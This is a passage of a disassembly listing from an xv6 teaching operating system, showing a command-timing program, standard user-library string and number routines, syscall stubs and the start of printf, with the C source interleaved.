4c: e8 fc 03 00 00 call 44d <exit>
++argv;
51: 83 43 04 04 addl $0x4,0x4(%ebx)
if (exec(argv[0], argv))
55: 8b 43 04 mov 0x4(%ebx),%eax
58: 8b 00 mov (%eax),%eax
5a: 83 ec 08 sub $0x8,%esp
5d: ff 73 04 pushl 0x4(%ebx)
60: 50 push %eax
61: e8 1f 04 00 00 call 485 <exec>
66: 83 c4 10 add $0x10,%esp
69: 85 c0 test %eax,%eax
6b: 74 17 je 84 <main+0x84>
{
printf(1, "error FAIL\n");
6d: 83 ec 08 sub $0x8,%esp
70: 68 da 09 00 00 push $0x9da
75: 6a 01 push $0x1
77: e8 a8 05 00 00 call 624 <printf>
7c: 83 c4 10 add $0x10,%esp
exit();
7f: e8 c9 03 00 00 call 44d <exit>
}
}
wait();
84: e8 cc 03 00 00 call 455 <wait>
final_time = uptime(); // get time
89: e8 57 04 00 00 call 4e5 <uptime>
8e: 89 45 ec mov %eax,-0x14(%ebp)
time_diff = final_time - start_time; // get the difference
91: 8b 45 ec mov -0x14(%ebp),%eax
94: 2b 45 f4 sub -0xc(%ebp),%eax
97: 89 45 e8 mov %eax,-0x18(%ebp)
result = time_diff/1000; // get the result
9a: 8b 4d e8 mov -0x18(%ebp),%ecx
9d: ba d3 4d 62 10 mov $0x10624dd3,%edx
a2: 89 c8 mov %ecx,%eax
a4: f7 ea imul %edx
a6: c1 fa 06 sar $0x6,%edx
a9: 89 c8 mov %ecx,%eax
ab: c1 f8 1f sar $0x1f,%eax
ae: 29 c2 sub %eax,%edx
b0: 89 d0 mov %edx,%eax
b2: 89 45 e4 mov %eax,-0x1c(%ebp)
reminder = time_diff%1000; // get the reminder
b5: 8b 4d e8 mov -0x18(%ebp),%ecx
b8: ba d3 4d 62 10 mov $0x10624dd3,%edx
bd: 89 c8 mov %ecx,%eax
bf: f7 ea imul %edx
c1: c1 fa 06 sar $0x6,%edx
c4: 89 c8 mov %ecx,%eax
c6: c1 f8 1f sar $0x1f,%eax
c9: 29 c2 sub %eax,%edx
cb: 89 d0 mov %edx,%eax
cd: 69 c0 e8 03 00 00 imul $0x3e8,%eax,%eax
d3: 29 c1 sub %eax,%ecx
d5: 89 c8 mov %ecx,%eax
d7: 89 45 e0 mov %eax,-0x20(%ebp)
if(argv[1] != 0)
da: 8b 43 04 mov 0x4(%ebx),%eax
dd: 83 c0 04 add $0x4,%eax
e0: 8b 00 mov (%eax),%eax
e2: 85 c0 test %eax,%eax
e4: 74 23 je 109 <main+0x109>
printf(1, "%s ran in %d.%d seconds.\n", argv[1], result, reminder); // displayin
e6: 8b 43 04 mov 0x4(%ebx),%eax
e9: 83 c0 04 add $0x4,%eax
ec: 8b 00 mov (%eax),%eax
ee: 83 ec 0c sub $0xc,%esp
f1: ff 75 e0 pushl -0x20(%ebp)
f4: ff 75 e4 pushl -0x1c(%ebp)
f7: 50 push %eax
f8: 68 e6 09 00 00 push $0x9e6
fd: 6a 01 push $0x1
ff: e8 20 05 00 00 call 624 <printf>
104: 83 c4 20 add $0x20,%esp
107: eb 15 jmp 11e <main+0x11e>
else
printf(1, "ran in %d.%d seconds.\n", result, reminder);
109: ff 75 e0 pushl -0x20(%ebp)
10c: ff 75 e4 pushl -0x1c(%ebp)
10f: 68 00 0a 00 00 push $0xa00
114: 6a 01 push $0x1
116: e8 09 05 00 00 call 624 <printf>
11b: 83 c4 10 add $0x10,%esp
exit();
11e: e8 2a 03 00 00 call 44d <exit>
00000123 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
123: 55 push %ebp
124: 89 e5 mov %esp,%ebp
126: 57 push %edi
127: 53 push %ebx
asm volatile("cld; rep stosb" :
128: 8b 4d 08 mov 0x8(%ebp),%ecx
12b: 8b 55 10 mov 0x10(%ebp),%edx
12e: 8b 45 0c mov 0xc(%ebp),%eax
131: 89 cb mov %ecx,%ebx
133: 89 df mov %ebx,%edi
135: 89 d1 mov %edx,%ecx
137: fc cld
138: f3 aa rep stos %al,%es:(%edi)
13a: 89 ca mov %ecx,%edx
13c: 89 fb mov %edi,%ebx
13e: 89 5d 08 mov %ebx,0x8(%ebp)
141: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
144: 90 nop
145: 5b pop %ebx
146: 5f pop %edi
147: 5d pop %ebp
148: c3 ret
00000149 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
149: 55 push %ebp
14a: 89 e5 mov %esp,%ebp
14c: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
14f: 8b 45 08 mov 0x8(%ebp),%eax
152: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
155: 90 nop
156: 8b 45 08 mov 0x8(%ebp),%eax
159: 8d 50 01 lea 0x1(%eax),%edx
15c: 89 55 08 mov %edx,0x8(%ebp)
15f: 8b 55 0c mov 0xc(%ebp),%edx
162: 8d 4a 01 lea 0x1(%edx),%ecx
165: 89 4d 0c mov %ecx,0xc(%ebp)
168: 0f b6 12 movzbl (%edx),%edx
16b: 88 10 mov %dl,(%eax)
16d: 0f b6 00 movzbl (%eax),%eax
170: 84 c0 test %al,%al
172: 75 e2 jne 156 <strcpy+0xd>
;
return os;
174: 8b 45 fc mov -0x4(%ebp),%eax
}
177: c9 leave
178: c3 ret
00000179 <strcmp>:
int
strcmp(const char *p, const char *q)
{
179: 55 push %ebp
17a: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
17c: eb 08 jmp 186 <strcmp+0xd>
p++, q++;
17e: 83 45 08 01 addl $0x1,0x8(%ebp)
182: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
186: 8b 45 08 mov 0x8(%ebp),%eax
189: 0f b6 00 movzbl (%eax),%eax
18c: 84 c0 test %al,%al
18e: 74 10 je 1a0 <strcmp+0x27>
190: 8b 45 08 mov 0x8(%ebp),%eax
193: 0f b6 10 movzbl (%eax),%edx
196: 8b 45 0c mov 0xc(%ebp),%eax
199: 0f b6 00 movzbl (%eax),%eax
19c: 38 c2 cmp %al,%dl
19e: 74 de je 17e <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
1a0: 8b 45 08 mov 0x8(%ebp),%eax
1a3: 0f b6 00 movzbl (%eax),%eax
1a6: 0f b6 d0 movzbl %al,%edx
1a9: 8b 45 0c mov 0xc(%ebp),%eax
1ac: 0f b6 00 movzbl (%eax),%eax
1af: 0f b6 c0 movzbl %al,%eax
1b2: 29 c2 sub %eax,%edx
1b4: 89 d0 mov %edx,%eax
}
1b6: 5d pop %ebp
1b7: c3 ret
000001b8 <strlen>:
uint
strlen(char *s)
{
1b8: 55 push %ebp
1b9: 89 e5 mov %esp,%ebp
1bb: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1be: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
1c5: eb 04 jmp 1cb <strlen+0x13>
1c7: 83 45 fc 01 addl $0x1,-0x4(%ebp)
1cb: 8b 55 fc mov -0x4(%ebp),%edx
1ce: 8b 45 08 mov 0x8(%ebp),%eax
1d1: 01 d0 add %edx,%eax
1d3: 0f b6 00 movzbl (%eax),%eax
1d6: 84 c0 test %al,%al
1d8: 75 ed jne 1c7 <strlen+0xf>
;
return n;
1da: 8b 45 fc mov -0x4(%ebp),%eax
}
1dd: c9 leave
1de: c3 ret
000001df <memset>:
void*
memset(void *dst, int c, uint n)
{
1df: 55 push %ebp
1e0: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
1e2: 8b 45 10 mov 0x10(%ebp),%eax
1e5: 50 push %eax
1e6: ff 75 0c pushl 0xc(%ebp)
1e9: ff 75 08 pushl 0x8(%ebp)
1ec: e8 32 ff ff ff call 123 <stosb>
1f1: 83 c4 0c add $0xc,%esp
return dst;
1f4: 8b 45 08 mov 0x8(%ebp),%eax
}
1f7: c9 leave
1f8: c3 ret
000001f9 <strchr>:
char*
strchr(const char *s, char c)
{
1f9: 55 push %ebp
1fa: 89 e5 mov %esp,%ebp
1fc: 83 ec 04 sub $0x4,%esp
1ff: 8b 45 0c mov 0xc(%ebp),%eax
202: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
205: eb 14 jmp 21b <strchr+0x22>
if(*s == c)
207: 8b 45 08 mov 0x8(%ebp),%eax
20a: 0f b6 00 movzbl (%eax),%eax
20d: 3a 45 fc cmp -0x4(%ebp),%al
210: 75 05 jne 217 <strchr+0x1e>
return (char*)s;
212: 8b 45 08 mov 0x8(%ebp),%eax
215: eb 13 jmp 22a <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
217: 83 45 08 01 addl $0x1,0x8(%ebp)
21b: 8b 45 08 mov 0x8(%ebp),%eax
21e: 0f b6 00 movzbl (%eax),%eax
221: 84 c0 test %al,%al
223: 75 e2 jne 207 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
225: b8 00 00 00 00 mov $0x0,%eax
}
22a: c9 leave
22b: c3 ret
0000022c <gets>:
char*
gets(char *buf, int max)
{
22c: 55 push %ebp
22d: 89 e5 mov %esp,%ebp
22f: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
232: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
239: eb 42 jmp 27d <gets+0x51>
cc = read(0, &c, 1);
23b: 83 ec 04 sub $0x4,%esp
23e: 6a 01 push $0x1
240: 8d 45 ef lea -0x11(%ebp),%eax
243: 50 push %eax
244: 6a 00 push $0x0
246: e8 1a 02 00 00 call 465 <read>
24b: 83 c4 10 add $0x10,%esp
24e: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
251: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
255: 7e 33 jle 28a <gets+0x5e>
break;
buf[i++] = c;
257: 8b 45 f4 mov -0xc(%ebp),%eax
25a: 8d 50 01 lea 0x1(%eax),%edx
25d: 89 55 f4 mov %edx,-0xc(%ebp)
260: 89 c2 mov %eax,%edx
262: 8b 45 08 mov 0x8(%ebp),%eax
265: 01 c2 add %eax,%edx
267: 0f b6 45 ef movzbl -0x11(%ebp),%eax
26b: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
26d: 0f b6 45 ef movzbl -0x11(%ebp),%eax
271: 3c 0a cmp $0xa,%al
273: 74 16 je 28b <gets+0x5f>
275: 0f b6 45 ef movzbl -0x11(%ebp),%eax
279: 3c 0d cmp $0xd,%al
27b: 74 0e je 28b <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
27d: 8b 45 f4 mov -0xc(%ebp),%eax
280: 83 c0 01 add $0x1,%eax
283: 3b 45 0c cmp 0xc(%ebp),%eax
286: 7c b3 jl 23b <gets+0xf>
288: eb 01 jmp 28b <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
28a: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
28b: 8b 55 f4 mov -0xc(%ebp),%edx
28e: 8b 45 08 mov 0x8(%ebp),%eax
291: 01 d0 add %edx,%eax
293: c6 00 00 movb $0x0,(%eax)
return buf;
296: 8b 45 08 mov 0x8(%ebp),%eax
}
299: c9 leave
29a: c3 ret
0000029b <stat>:
int
stat(char *n, struct stat *st)
{
29b: 55 push %ebp
29c: 89 e5 mov %esp,%ebp
29e: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
2a1: 83 ec 08 sub $0x8,%esp
2a4: 6a 00 push $0x0
2a6: ff 75 08 pushl 0x8(%ebp)
2a9: e8 df 01 00 00 call 48d <open>
2ae: 83 c4 10 add $0x10,%esp
2b1: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
2b4: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2b8: 79 07 jns 2c1 <stat+0x26>
return -1;
2ba: b8 ff ff ff ff mov $0xffffffff,%eax
2bf: eb 25 jmp 2e6 <stat+0x4b>
r = fstat(fd, st);
2c1: 83 ec 08 sub $0x8,%esp
2c4: ff 75 0c pushl 0xc(%ebp)
2c7: ff 75 f4 pushl -0xc(%ebp)
2ca: e8 d6 01 00 00 call 4a5 <fstat>
2cf: 83 c4 10 add $0x10,%esp
2d2: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
2d5: 83 ec 0c sub $0xc,%esp
2d8: ff 75 f4 pushl -0xc(%ebp)
2db: e8 95 01 00 00 call 475 <close>
2e0: 83 c4 10 add $0x10,%esp
return r;
2e3: 8b 45 f0 mov -0x10(%ebp),%eax
}
2e6: c9 leave
2e7: c3 ret
000002e8 <atoi>:
int
atoi(const char *s)
{
2e8: 55 push %ebp
2e9: 89 e5 mov %esp,%ebp
2eb: 83 ec 10 sub $0x10,%esp
int n, sign;
n = 0;
2ee: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while (*s == ' ') s++;
2f5: eb 04 jmp 2fb <atoi+0x13>
2f7: 83 45 08 01 addl $0x1,0x8(%ebp)
2fb: 8b 45 08 mov 0x8(%ebp),%eax
2fe: 0f b6 00 movzbl (%eax),%eax
301: 3c 20 cmp $0x20,%al
303: 74 f2 je 2f7 <atoi+0xf>
sign = (*s == '-') ? -1 : 1;
305: 8b 45 08 mov 0x8(%ebp),%eax
308: 0f b6 00 movzbl (%eax),%eax
30b: 3c 2d cmp $0x2d,%al
30d: 75 07 jne 316 <atoi+0x2e>
30f: b8 ff ff ff ff mov $0xffffffff,%eax
314: eb 05 jmp 31b <atoi+0x33>
316: b8 01 00 00 00 mov $0x1,%eax
31b: 89 45 f8 mov %eax,-0x8(%ebp)
if (*s == '+' || *s == '-')
31e: 8b 45 08 mov 0x8(%ebp),%eax
321: 0f b6 00 movzbl (%eax),%eax
324: 3c 2b cmp $0x2b,%al
326: 74 0a je 332 <atoi+0x4a>
328: 8b 45 08 mov 0x8(%ebp),%eax
32b: 0f b6 00 movzbl (%eax),%eax
32e: 3c 2d cmp $0x2d,%al
330: 75 2b jne 35d <atoi+0x75>
s++;
332: 83 45 08 01 addl $0x1,0x8(%ebp)
while('0' <= *s && *s <= '9')
336: eb 25 jmp 35d <atoi+0x75>
n = n*10 + *s++ - '0';
338: 8b 55 fc mov -0x4(%ebp),%edx
33b: 89 d0 mov %edx,%eax
33d: c1 e0 02 shl $0x2,%eax
340: 01 d0 add %edx,%eax
342: 01 c0 add %eax,%eax
344: 89 c1 mov %eax,%ecx
346: 8b 45 08 mov 0x8(%ebp),%eax
349: 8d 50 01 lea 0x1(%eax),%edx
34c: 89 55 08 mov %edx,0x8(%ebp)
34f: 0f b6 00 movzbl (%eax),%eax
352: 0f be c0 movsbl %al,%eax
355: 01 c8 add %ecx,%eax
357: 83 e8 30 sub $0x30,%eax
35a: 89 45 fc mov %eax,-0x4(%ebp)
n = 0;
while (*s == ' ') s++;
sign = (*s == '-') ? -1 : 1;
if (*s == '+' || *s == '-')
s++;
while('0' <= *s && *s <= '9')
35d: 8b 45 08 mov 0x8(%ebp),%eax
360: 0f b6 00 movzbl (%eax),%eax
363: 3c 2f cmp $0x2f,%al
365: 7e 0a jle 371 <atoi+0x89>
367: 8b 45 08 mov 0x8(%ebp),%eax
36a: 0f b6 00 movzbl (%eax),%eax
36d: 3c 39 cmp $0x39,%al
36f: 7e c7 jle 338 <atoi+0x50>
n = n*10 + *s++ - '0';
return sign*n;
371: 8b 45 f8 mov -0x8(%ebp),%eax
374: 0f af 45 fc imul -0x4(%ebp),%eax
}
378: c9 leave
379: c3 ret
0000037a <atoo>:
int
atoo(const char *s)
{
37a: 55 push %ebp
37b: 89 e5 mov %esp,%ebp
37d: 83 ec 10 sub $0x10,%esp
int n, sign;
n = 0;
380: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while (*s == ' ') s++;
387: eb 04 jmp 38d <atoo+0x13>
389: 83 45 08 01 addl $0x1,0x8(%ebp)
38d: 8b 45 08 mov 0x8(%ebp),%eax
390: 0f b6 00 movzbl (%eax),%eax
393: 3c 20 cmp $0x20,%al
395: 74 f2 je 389 <atoo+0xf>
sign = (*s == '-') ? -1 : 1;
397: 8b 45 08 mov 0x8(%ebp),%eax
39a: 0f b6 00 movzbl (%eax),%eax
39d: 3c 2d cmp $0x2d,%al
39f: 75 07 jne 3a8 <atoo+0x2e>
3a1: b8 ff ff ff ff mov $0xffffffff,%eax
3a6: eb 05 jmp 3ad <atoo+0x33>
3a8: b8 01 00 00 00 mov $0x1,%eax
3ad: 89 45 f8 mov %eax,-0x8(%ebp)
if (*s == '+' || *s == '-')
3b0: 8b 45 08 mov 0x8(%ebp),%eax
3b3: 0f b6 00 movzbl (%eax),%eax
3b6: 3c 2b cmp $0x2b,%al
3b8: 74 0a je 3c4 <atoo+0x4a>
3ba: 8b 45 08 mov 0x8(%ebp),%eax
3bd: 0f b6 00 movzbl (%eax),%eax
3c0: 3c 2d cmp $0x2d,%al
3c2: 75 27 jne 3eb <atoo+0x71>
s++;
3c4: 83 45 08 01 addl $0x1,0x8(%ebp)
while('0' <= *s && *s <= '7')
3c8: eb 21 jmp 3eb <atoo+0x71>
n = n*8 + *s++ - '0';
3ca: 8b 45 fc mov -0x4(%ebp),%eax
3cd: 8d 0c c5 00 00 00 00 lea 0x0(,%eax,8),%ecx
3d4: 8b 45 08 mov 0x8(%ebp),%eax
3d7: 8d 50 01 lea 0x1(%eax),%edx
3da: 89 55 08 mov %edx,0x8(%ebp)
3dd: 0f b6 00 movzbl (%eax),%eax
3e0: 0f be c0 movsbl %al,%eax
3e3: 01 c8 add %ecx,%eax
3e5: 83 e8 30 sub $0x30,%eax
3e8: 89 45 fc mov %eax,-0x4(%ebp)
n = 0;
while (*s == ' ') s++;
sign = (*s == '-') ? -1 : 1;
if (*s == '+' || *s == '-')
s++;
while('0' <= *s && *s <= '7')
3eb: 8b 45 08 mov 0x8(%ebp),%eax
3ee: 0f b6 00 movzbl (%eax),%eax
3f1: 3c 2f cmp $0x2f,%al
3f3: 7e 0a jle 3ff <atoo+0x85>
3f5: 8b 45 08 mov 0x8(%ebp),%eax
3f8: 0f b6 00 movzbl (%eax),%eax
3fb: 3c 37 cmp $0x37,%al
3fd: 7e cb jle 3ca <atoo+0x50>
n = n*8 + *s++ - '0';
return sign*n;
3ff: 8b 45 f8 mov -0x8(%ebp),%eax
402: 0f af 45 fc imul -0x4(%ebp),%eax
}
406: c9 leave
407: c3 ret
00000408 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
408: 55 push %ebp
409: 89 e5 mov %esp,%ebp
40b: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
40e: 8b 45 08 mov 0x8(%ebp),%eax
411: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
414: 8b 45 0c mov 0xc(%ebp),%eax
417: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
41a: eb 17 jmp 433 <memmove+0x2b>
*dst++ = *src++;
41c: 8b 45 fc mov -0x4(%ebp),%eax
41f: 8d 50 01 lea 0x1(%eax),%edx
422: 89 55 fc mov %edx,-0x4(%ebp)
425: 8b 55 f8 mov -0x8(%ebp),%edx
428: 8d 4a 01 lea 0x1(%edx),%ecx
42b: 89 4d f8 mov %ecx,-0x8(%ebp)
42e: 0f b6 12 movzbl (%edx),%edx
431: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
433: 8b 45 10 mov 0x10(%ebp),%eax
436: 8d 50 ff lea -0x1(%eax),%edx
439: 89 55 10 mov %edx,0x10(%ebp)
43c: 85 c0 test %eax,%eax
43e: 7f dc jg 41c <memmove+0x14>
*dst++ = *src++;
return vdst;
440: 8b 45 08 mov 0x8(%ebp),%eax
}
443: c9 leave
444: c3 ret
00000445 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
445: b8 01 00 00 00 mov $0x1,%eax
44a: cd 40 int $0x40
44c: c3 ret
0000044d <exit>:
SYSCALL(exit)
44d: b8 02 00 00 00 mov $0x2,%eax
452: cd 40 int $0x40
454: c3 ret
00000455 <wait>:
SYSCALL(wait)
455: b8 03 00 00 00 mov $0x3,%eax
45a: cd 40 int $0x40
45c: c3 ret
0000045d <pipe>:
SYSCALL(pipe)
45d: b8 04 00 00 00 mov $0x4,%eax
462: cd 40 int $0x40
464: c3 ret
00000465 <read>:
SYSCALL(read)
465: b8 05 00 00 00 mov $0x5,%eax
46a: cd 40 int $0x40
46c: c3 ret
0000046d <write>:
SYSCALL(write)
46d: b8 10 00 00 00 mov $0x10,%eax
472: cd 40 int $0x40
474: c3 ret
00000475 <close>:
SYSCALL(close)
475: b8 15 00 00 00 mov $0x15,%eax
47a: cd 40 int $0x40
47c: c3 ret
0000047d <kill>:
SYSCALL(kill)
47d: b8 06 00 00 00 mov $0x6,%eax
482: cd 40 int $0x40
484: c3 ret
00000485 <exec>:
SYSCALL(exec)
485: b8 07 00 00 00 mov $0x7,%eax
48a: cd 40 int $0x40
48c: c3 ret
0000048d <open>:
SYSCALL(open)
48d: b8 0f 00 00 00 mov $0xf,%eax
492: cd 40 int $0x40
494: c3 ret
00000495 <mknod>:
SYSCALL(mknod)
495: b8 11 00 00 00 mov $0x11,%eax
49a: cd 40 int $0x40
49c: c3 ret
0000049d <unlink>:
SYSCALL(unlink)
49d: b8 12 00 00 00 mov $0x12,%eax
4a2: cd 40 int $0x40
4a4: c3 ret
000004a5 <fstat>:
SYSCALL(fstat)
4a5: b8 08 00 00 00 mov $0x8,%eax
4aa: cd 40 int $0x40
4ac: c3 ret
000004ad <link>:
SYSCALL(link)
4ad: b8 13 00 00 00 mov $0x13,%eax
4b2: cd 40 int $0x40
4b4: c3 ret
000004b5 <mkdir>:
SYSCALL(mkdir)
4b5: b8 14 00 00 00 mov $0x14,%eax
4ba: cd 40 int $0x40
4bc: c3 ret
000004bd <chdir>:
SYSCALL(chdir)
4bd: b8 09 00 00 00 mov $0x9,%eax
4c2: cd 40 int $0x40
4c4: c3 ret
000004c5 <dup>:
SYSCALL(dup)
4c5: b8 0a 00 00 00 mov $0xa,%eax
4ca: cd 40 int $0x40
4cc: c3 ret
000004cd <getpid>:
SYSCALL(getpid)
4cd: b8 0b 00 00 00 mov $0xb,%eax
4d2: cd 40 int $0x40
4d4: c3 ret
000004d5 <sbrk>:
SYSCALL(sbrk)
4d5: b8 0c 00 00 00 mov $0xc,%eax
4da: cd 40 int $0x40
4dc: c3 ret
000004dd <sleep>:
SYSCALL(sleep)
4dd: b8 0d 00 00 00 mov $0xd,%eax
4e2: cd 40 int $0x40
4e4: c3 ret
000004e5 <uptime>:
SYSCALL(uptime)
4e5: b8 0e 00 00 00 mov $0xe,%eax
4ea: cd 40 int $0x40
4ec: c3 ret
000004ed <halt>:
SYSCALL(halt)
4ed: b8 16 00 00 00 mov $0x16,%eax
4f2: cd 40 int $0x40
4f4: c3 ret
000004f5 <date>:
SYSCALL(date)
4f5: b8 17 00 00 00 mov $0x17,%eax
4fa: cd 40 int $0x40
4fc: c3 ret
000004fd <getuid>:
SYSCALL(getuid)
4fd: b8 18 00 00 00 mov $0x18,%eax
502: cd 40 int $0x40
504: c3 ret
00000505 <getgid>:
SYSCALL(getgid)
505: b8 19 00 00 00 mov $0x19,%eax
50a: cd 40 int $0x40
50c: c3 ret
0000050d <getppid>:
SYSCALL(getppid)
50d: b8 1a 00 00 00 mov $0x1a,%eax
512: cd 40 int $0x40
514: c3 ret
00000515 <setuid>:
SYSCALL(setuid)
515: b8 1b 00 00 00 mov $0x1b,%eax
51a: cd 40 int $0x40
51c: c3 ret
0000051d <setgid>:
SYSCALL(setgid)
51d: b8 1c 00 00 00 mov $0x1c,%eax
522: cd 40 int $0x40
524: c3 ret
00000525 <getprocs>:
SYSCALL(getprocs)
525: b8 1d 00 00 00 mov $0x1d,%eax
52a: cd 40 int $0x40
52c: c3 ret
0000052d <setpriority>:
SYSCALL(setpriority)
52d: b8 1e 00 00 00 mov $0x1e,%eax
532: cd 40 int $0x40
534: c3 ret
00000535 <chmod>:
SYSCALL(chmod)
535: b8 1f 00 00 00 mov $0x1f,%eax
53a: cd 40 int $0x40
53c: c3 ret
0000053d <chown>:
SYSCALL(chown)
53d: b8 20 00 00 00 mov $0x20,%eax
542: cd 40 int $0x40
544: c3 ret
00000545 <chgrp>:
SYSCALL(chgrp)
545: b8 21 00 00 00 mov $0x21,%eax
54a: cd 40 int $0x40
54c: c3 ret
0000054d <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
54d: 55 push %ebp
54e: 89 e5 mov %esp,%ebp
550: 83 ec 18 sub $0x18,%esp
553: 8b 45 0c mov 0xc(%ebp),%eax
556: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
559: 83 ec 04 sub $0x4,%esp
55c: 6a 01 push $0x1
55e: 8d 45 f4 lea -0xc(%ebp),%eax
561: 50 push %eax
562: ff 75 08 pushl 0x8(%ebp)
565: e8 03 ff ff ff call 46d <write>
56a: 83 c4 10 add $0x10,%esp
}
56d: 90 nop
56e: c9 leave
56f: c3 ret
00000570 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
570: 55 push %ebp
571: 89 e5 mov %esp,%ebp
573: 53 push %ebx
574: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
577: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
57e: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
582: 74 17 je 59b <printint+0x2b>
584: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
588: 79 11 jns 59b <printint+0x2b>
neg = 1;
58a: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
591: 8b 45 0c mov 0xc(%ebp),%eax
594: f7 d8 neg %eax
596: 89 45 ec mov %eax,-0x14(%ebp)
599: eb 06 jmp 5a1 <printint+0x31>
} else {
x = xx;
59b: 8b 45 0c mov 0xc(%ebp),%eax
59e: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
5a1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
5a8: 8b 4d f4 mov -0xc(%ebp),%ecx
5ab: 8d 41 01 lea 0x1(%ecx),%eax
5ae: 89 45 f4 mov %eax,-0xc(%ebp)
5b1: 8b 5d 10 mov 0x10(%ebp),%ebx
5b4: 8b 45 ec mov -0x14(%ebp),%eax
5b7: ba 00 00 00 00 mov $0x0,%edx
5bc: f7 f3 div %ebx
5be: 89 d0 mov %edx,%eax
5c0: 0f b6 80 8c 0c 00 00 movzbl 0xc8c(%eax),%eax
5c7: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
5cb: 8b 5d 10 mov 0x10(%ebp),%ebx
5ce: 8b 45 ec mov -0x14(%ebp),%eax
5d1: ba 00 00 00 00 mov $0x0,%edx
5d6: f7 f3 div %ebx
5d8: 89 45 ec mov %eax,-0x14(%ebp)
5db: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
5df: 75 c7 jne 5a8 <printint+0x38>
if(neg)
5e1: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
5e5: 74 2d je 614 <printint+0xa4>
buf[i++] = '-';
5e7: 8b 45 f4 mov -0xc(%ebp),%eax
5ea: 8d 50 01 lea 0x1(%eax),%edx
5ed: 89 55 f4 mov %edx,-0xc(%ebp)
5f0: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
5f5: eb 1d jmp 614 <printint+0xa4>
putc(fd, buf[i]);
5f7: 8d 55 dc lea -0x24(%ebp),%edx
5fa: 8b 45 f4 mov -0xc(%ebp),%eax
5fd: 01 d0 add %edx,%eax
5ff: 0f b6 00 movzbl (%eax),%eax
602: 0f be c0 movsbl %al,%eax
605: 83 ec 08 sub $0x8,%esp
608: 50 push %eax
609: ff 75 08 pushl 0x8(%ebp)
60c: e8 3c ff ff ff call 54d <putc>
611: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
614: 83 6d f4 01 subl $0x1,-0xc(%ebp)
618: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
61c: 79 d9 jns 5f7 <printint+0x87>
putc(fd, buf[i]);
}
61e: 90 nop
61f: 8b 5d fc mov -0x4(%ebp),%ebx
622: c9 leave
623: c3 ret
00000624 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
624: 55 push %ebp
625: 89 e5 mov %esp,%ebp
627: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
62a: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
631: 8d 45 0c lea 0xc(%ebp),%eax
634: 83 c0 04 add $0x4,%eax
637: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
63a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
641: e9 59 01 00 00 jmp 79f <printf+0x17b>
c = fmt[i] & 0xff;
646: 8b 55 0c mov 0xc(%ebp),%edx
649: 8b 45 f0 mov -0x10(%ebp),%eax
64c: 01 d0 add %edx,%eax
64e: 0f b6 00 movzbl (%eax),%eax
651: 0f be c0 movsbl %al,%eax
654: 25 ff 00 00 00 and $0xff,%eax
